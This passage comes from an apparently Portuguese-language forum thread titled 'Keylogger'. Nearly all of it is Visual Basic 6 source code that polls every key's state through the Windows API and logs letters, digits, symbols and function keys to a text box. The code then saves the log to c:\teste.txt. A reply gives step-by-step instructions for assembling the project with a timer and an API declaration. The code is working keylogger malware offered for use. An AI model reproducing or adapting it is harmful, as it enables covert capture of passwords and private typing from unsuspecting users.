If GetAsyncKeyState(vbKeyC) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "c"
End If


If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "d"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "d"
End If

If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "e"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "e"
End If

If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "f"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "f"
End If

If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "g"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "g"
End If

If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "h"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "h"
End If

If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "i"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "i"
End If

If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "j"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "j"
End If

If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "k"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "k"
End If

If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "l"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "l"
End If

If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "m"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "m"
End If

If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "n"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "n"
End If

If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "o"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "o"
End If

If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "p"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "p"
End If

If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "q"
End If

If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "r"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "r"
End If

If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "s"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "s"
End If

If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "t"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "t"
End If

If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "u"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "u"
End If

If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "v"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "v"
End If

If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "x"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "x"
End If

If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "y"
End If

If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "z"
End If

If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "w"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "w"
End If



If GetAsyncKeyState(vbKey1) And ShiftState = True Then
Text1.Text = Text1.Text + "!"
End If
If GetAsyncKeyState(vbKey1) And ShiftState = False Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKey2) And ShiftState = True Then
Text1.Text = Text1.Text + "@"
End If
If GetAsyncKeyState(vbKey2) And ShiftState = False Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKey3) And ShiftState = True Then
Text1.Text = Text1.Text + "#"
End If
If GetAsyncKeyState(vbKey3) And ShiftState = False Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKey4) And ShiftState = True Then
Text1.Text = Text1.Text + "$"
End If
If GetAsyncKeyState(vbKey4) And ShiftState = False Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKey5) And ShiftState = True Then
Text1.Text = Text1.Text + "%"
End If
If GetAsyncKeyState(vbKey5) And ShiftState = False Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKey6) And ShiftState = True Then
Text1.Text = Text1.Text + "¨"
End If
If GetAsyncKeyState(vbKey6) And ShiftState = False Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKey7) And ShiftState = True Then
Text1.Text = Text1.Text + "&"
End If
If GetAsyncKeyState(vbKey7) And ShiftState = False Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKey8) And ShiftState = True Then
Text1.Text = Text1.Text + "*"
End If
If GetAsyncKeyState(vbKey8) And ShiftState = False Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKey9) And ShiftState = True Then
Text1.Text = Text1.Text + "("
End If
If GetAsyncKeyState(vbKey9) And ShiftState = False Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKey0) And ShiftState = True Then
Text1.Text = Text1.Text + ")"
End If
If GetAsyncKeyState(vbKey0) And ShiftState = False Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyBack) Then
Text1.Text = Text1.Text + "[Desmanchar]"
End If

If GetAsyncKeyState(vbKeyTab) Then
Text1.Text = Text1.Text + ""
End If


If GetAsyncKeyState(vbKeyReturn) Then
Text1.Text = Text1.Text + "[Enter]"
End If

If GetAsyncKeyState(vbKeyControl) Then
Text1.Text = Text1.Text + "[Ctrl]"
End If

If GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[Alt]"
End If

If GetAsyncKeyState(vbKeyPause) Then
Text1.Text = Text1.Text + "[Pause]"
End If

If GetAsyncKeyState(vbKeyEscape) Then
Text1.Text = Text1.Text + "[Esc]"
End If

If GetAsyncKeyState(vbKeySpace) Then
Text1.Text = Text1.Text + " "
End If

If GetAsyncKeyState(vbKeyEnd) Then
Text1.Text = Text1.Text + "[End]"
End If

If GetAsyncKeyState(vbKeyHome) Then
Text1.Text = Text1.Text + "[Home]"
End If

If GetAsyncKeyState(vbKeyLeft) Then
Text1.Text = Text1.Text + "
"
End If

If GetAsyncKeyState(vbKeyRight) Then
Text1.Text = Text1.Text + "
"
End If

If GetAsyncKeyState(vbKeyUp) Then
Text1.Text = Text1.Text + "[Up]"
End If

If GetAsyncKeyState(vbKeyDown) Then
Text1.Text = Text1.Text + "[Down]"
End If

If GetAsyncKeyState(vbKeyInsert) Then
Text1.Text = Text1.Text + "[Insert]"
End If

If GetAsyncKeyState(vbKeyDelete) Then
Text1.Text = Text1.Text + "[Del]"
End If

If GetAsyncKeyState(&HBA) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBA) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HBB) And ShiftState = True Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(&HBB) Then
Text1.Text = Text1.Text + "="
End If

If GetAsyncKeyState(&HBC) And ShiftState = True Then
Text1.Text = Text1.Text + "<"
End If

If GetAsyncKeyState(&HBC) Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(&HBD) And ShiftState = True Then
Text1.Text = Text1.Text + "_"
End If

If GetAsyncKeyState(&HBD) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(&HBE) And ShiftState = True Then
Text1.Text = Text1.Text + ">"
End If

If GetAsyncKeyState(&HBE) Then
Text1.Text = Text1.Text + "."
End If

If GetAsyncKeyState(&HBF) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBF) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HDB) And ShiftState = True Then
Text1.Text = Text1.Text + "`"
End If

If GetAsyncKeyState(&HDB) Then
Text1.Text = Text1.Text + "´"
End If

If GetAsyncKeyState(&HDC) And ShiftState = True Then
Text1.Text = Text1.Text + "}"
End If

If GetAsyncKeyState(&HDC) Then
Text1.Text = Text1.Text + "]"
End If

If GetAsyncKeyState(&HDD) And ShiftState = True Then
Text1.Text = Text1.Text + "{"
End If

If GetAsyncKeyState(&HDD) Then
Text1.Text = Text1.Text + "["
End If

If GetAsyncKeyState(&HDE) And ShiftState = True Then
Text1.Text = Text1.Text + "^"
End If

If GetAsyncKeyState(&HDE) Then
Text1.Text = Text1.Text + "~"
End If

If GetAsyncKeyState(&HC0) And ShiftState = True Then
Text1.Text = Text1.Text + """"
End If

If GetAsyncKeyState(&HC0) Then
Text1.Text = Text1.Text + "'"
End If

If GetAsyncKeyState(vbKeyDivide) Then
Text1.Text = Text1.Text + "/"
End If

If GetAsyncKeyState(vbKeyAdd) Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(vbKeySubtract) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(vbKeyDecimal) And NumLockState = True Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(vbKeyF1) And ShiftState = True Then
Text1.Text = Text1.Text + "[F1 com shift]"
End If

If GetAsyncKeyState(vbKeyF1) Then
Text1.Text = Text1.Text + "[F1]"
End If

If GetAsyncKeyState(vbKeyF2) And ShiftState = True Then
Text1.Text = Text1.Text + "[F2 com shift]"
End If

If GetAsyncKeyState(vbKeyF2) Then
Text1.Text = Text1.Text + "[F2]"
End If

If GetAsyncKeyState(vbKeyF3) And ShiftState = True Then
Text1.Text = Text1.Text + "[F3 com shift]"
End If

If GetAsyncKeyState(vbKeyF3) Then
Text1.Text = Text1.Text + "[F3]"
End If

If GetAsyncKeyState(vbKeyF4) And GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[F4 com alt]"
End If

If GetAsyncKeyState(vbKeyF4) And ShiftState = True Then
Text1.Text = Text1.Text + "[F4 com shift]"
End If

If GetAsyncKeyState(vbKeyF4) Then
Text1.Text = Text1.Text + "[F4]"
End If

If GetAsyncKeyState(vbKeyF5) And ShiftState = True Then
Text1.Text = Text1.Text + "[F5 com shift]"
End If

If GetAsyncKeyState(vbKeyF5) Then
Text1.Text = Text1.Text + "[F5]"
End If

If GetAsyncKeyState(vbKeyF6) And ShiftState = True Then
Text1.Text = Text1.Text + "[F6 com shift]"
End If

If GetAsyncKeyState(vbKeyF6) Then
Text1.Text = Text1.Text + "[F6]"
End If

If GetAsyncKeyState(vbKeyF7) And ShiftState = True Then
Text1.Text = Text1.Text + "[F7 com shift]"
End If

If GetAsyncKeyState(vbKeyF7) Then
Text1.Text = Text1.Text + "[F7]"
End If

If GetAsyncKeyState(vbKeyF8) And ShiftState = True Then
Text1.Text = Text1.Text + "[F8 com shift]"
End If

If GetAsyncKeyState(vbKeyF8) Then
Text1.Text = Text1.Text + "[F8]"
End If

If GetAsyncKeyState(vbKeyF9) And ShiftState = True Then
Text1.Text = Text1.Text + "[F9 com shift]"
End If

If GetAsyncKeyState(vbKeyF9) Then
Text1.Text = Text1.Text + "[F9]"
End If

If GetAsyncKeyState(vbKeyF10) And ShiftState = True Then
Text1.Text = Text1.Text + "[F10 com shift]"
End If

If GetAsyncKeyState(vbKeyF10) Then
Text1.Text = Text1.Text + "[F10]"
End If

If GetAsyncKeyState(vbKeyF11) And ShiftState = True Then
Text1.Text = Text1.Text + "[F11 com shift]"
End If

If GetAsyncKeyState(vbKeyF11) Then
Text1.Text = Text1.Text + "[F11]"
End If

If GetAsyncKeyState(vbKeyF12) And ShiftState = True Then
Text1.Text = Text1.Text + "[F12 com shift]"
End If

If GetAsyncKeyState(vbKeyF12) Then
Text1.Text = Text1.Text + "[F12]"
End If

If GetAsyncKeyState(vbKeyNumlock) Then
Text1.Text = Text1.Text + "[Numlock]"
End If

If GetAsyncKeyState(vbKeyScrollLock) Then
Text1.Text = Text1.Text + "[ScrollLock]"
End If

If GetAsyncKeyState(vbKeyPrint) Then
Text1.Text = Text1.Text + "[PrintScreen]"
End If

If GetAsyncKeyState(vbKeyPageUp) Then
Text1.Text = Text1.Text + "[PageUp]"
End If

If GetAsyncKeyState(vbKeyPageDown) Then
Text1.Text = Text1.Text + "[PageDown]"
End If

If GetAsyncKeyState(vbKeySnapshot) Then
Text1.Text = Text1.Text + "[Snapshot]"
End If

If GetAsyncKeyState(vbKeyNumpad1) Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKeyNumpad2) Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKeyNumpad3) Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKeyNumpad4) Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKeyNumpad5) Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKeyNumpad6) Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKeyNumpad7) Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKeyNumpad8) Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKeyNumpad9) Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKeyNumpad0) Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyMultiply) Then
Text1.Text = Text1.Text + "*"
End If

ARQ = FreeFile
Open "c:\teste.txt" For Output As #ARQ
Print #ARQ, Text1.Text
Close #ARQ
End Function
Title: Re: Keylogger
Post by: Alucard on 18 de January , 2008, 01:11:08 PM
Com o vb6 abra crie um novo projeto crie um Timmer altere o nome do Timmer para teste
Depois disso crie uma caixa de texto.

No inicio do código, coloque a declaração. Depois cole o código citado.
Code Select
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Any) As Long
Text only | Text with Images